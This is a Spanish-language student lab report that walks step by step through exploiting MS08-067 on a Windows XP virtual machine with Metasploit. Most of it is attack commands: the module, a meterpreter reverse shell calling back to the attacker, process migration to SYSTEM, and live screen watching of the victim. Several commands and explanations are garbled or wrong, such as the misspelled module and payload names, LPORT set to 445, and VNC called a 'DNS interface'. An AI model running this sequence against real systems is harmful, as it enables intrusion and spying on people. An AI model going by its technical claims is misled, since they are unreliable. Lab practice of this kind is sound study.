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INTRODUCCIÓN  
En el presente informe se documenta una vulnerabilidad del sistema operativo 

Windows xp, el objetivo de este trabajo es demostrar como se puede explotar 

dicha vulnerabilidad mediante un ataque desde una maquina con Kali Linux, 

aprovechando una vulnerabilidad conocida se establecerá una conexión 

remota con el sistema implicado. 

 

RESUMEN  
Este informe presenta la explotación de una vulnerabilidad en Windows xp 

utilizando Kali Linux y la herramienta Metasploit, dentro de un entorno 

controlado con máquinas virtuales. 

 

OBJETIVO GENERAL  
Demostrar el proceso de explotación de una vulnerabilidad en el sistema 

operativo windows xp utilizando herramientas de Kali Linux y Metasploit con 

el propósito de entender el funcionamiento de los ataques a servicios de red. 

 

OBJETIVO ESPECÍFICO  
 

• Identificar y documentar la vulnerabilidad presente en el sistema 

operativo. 

• Analizar el comportamiento del sistema vulnerable tras la explotación y 

evaluar los resultados obtenidos. 

• La importancia de mantener los sistemas actualizados y aplicar buenas 

prácticas de seguridad para prevenir ataques. 
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Desarrollo 
 

Ingresamos a Metasploitable en Kali linux 
 

1. Abrimos nuestra herramienta metasploit mediante el comando msfconsole  

 

Ilustración 1 msfconsole 

 

 

Búsqueda del Exploit 
 

2. Utilizaremos un exploit que nos ayude a ingresar al sistema, para buscarlo debemos 

utilizar el comando search ms08_067_metapi 

 

Ilustración 2 search 
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3. En el siguiente paso nos aparecerá exploit/windows/smb/ms08_067_netapi lo 

copiamos.  

 

 

Ilustración 3 

 

Como ingresar en el exploit 
 

4. El exploit que copiamos lo vamos a pegar con el comando use 

exploit/windows/smb/ms08_067_netapi con este comando estaremos dentro del 

exploit. 

 

 

Ilustración 4 use 

 

 

Seleccion del payload 

  
5. Estando dentro del exploit vamos a colocar el payload con el comando set payload 

windows/meterpreter/reverse_tcp_allportes con este comando estamos indicando 

cual es el código que vamos a enviar al equipo que queremos ingresar. 
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Ilustración 5 payload 

 

 

Parámetros del modulo seleccionado  
 

6. En este paso usamos el comando options y se nos abre un modulo donde nos 

muestra todos los parámetros necesarios para poder ejecutar el exploit. 

 

 

Ilustración 6 options 

 

RHOSTS, LHOST Y LPORT 
 

7. RHOSTS es donde vamos a colocar la dirección ip de equipo que vamos a atacar 

mediante el comando set RHOSTS 192.192.0.8 LHOST es donde vamos a colocar 

la dirección ip del equipo atacante mediante el comando set HOST 192.192.0.5 Y 

en el LPORT vamos a poner set LPORT 445 que es por el puerto donde está la 

vulnerabilidad. 
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Ilustración 7 RHOSTS LHOST LPORT 

 

Explotación del equipo victima  
 

8. En el siguiente paso agregamos el comando exploit así explotaremos la 

vulnerabilidad de equipo. 

 

 

Ilustración 8 explotación 

 

9. Al cargar veremos que ya estamos dentro del equipo que estamos atacando, usamos 

el comando ls para comprobar. 

 

Ilustración 9 meterpreter 



9 
 

10. Luego usamos el comando sysinfo y nos mostrara que ya estamos dentro de 

Windows XP. 

 

 

Ilustración 10 sysinfo 

 

 

Migración de Ataque  
 

11. Lo que aremos en el siguiente paso es que migraremos el proceso del ataque a un 

proceso que tenga la autorización del sistema, con el comando ps nos aparecerán 

una lista de proceso. 

 

 

Ilustración 11 process list 
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12. Para migrarlo necesitaremos el código del sistema, entonces ponemos el siguiente 

comando con el código de sistema migrate 1336 

 

 

Ilustración 12 migrar  

 

13. Para finalizar el proceso utilizamos el comando run nvc con esto conseguiremos que 

se nos abra una interfaz DNS por la cual nosotros podemos ver todo lo que las 

personas esta haciendo en su ordenador en tiempo real. 

 

 

 

Ilustración 13 run nvc 
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14. Y así finaliza el ataque a Windows xp.  

 

 

Ilustración 14 equipo atacante / equipo victima 
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Conclusión  
 

A través de este ejercicio se demostró cómo una vulnerabilidad en el sistema 

operativo Windows XP puede ser explotada mediante el uso de herramientas 

como Metasploit en Kali Linux La explotación del servicio vulnerable permitió 

establecer una conexión remota con el sistema afectado. 

 

 

 

 


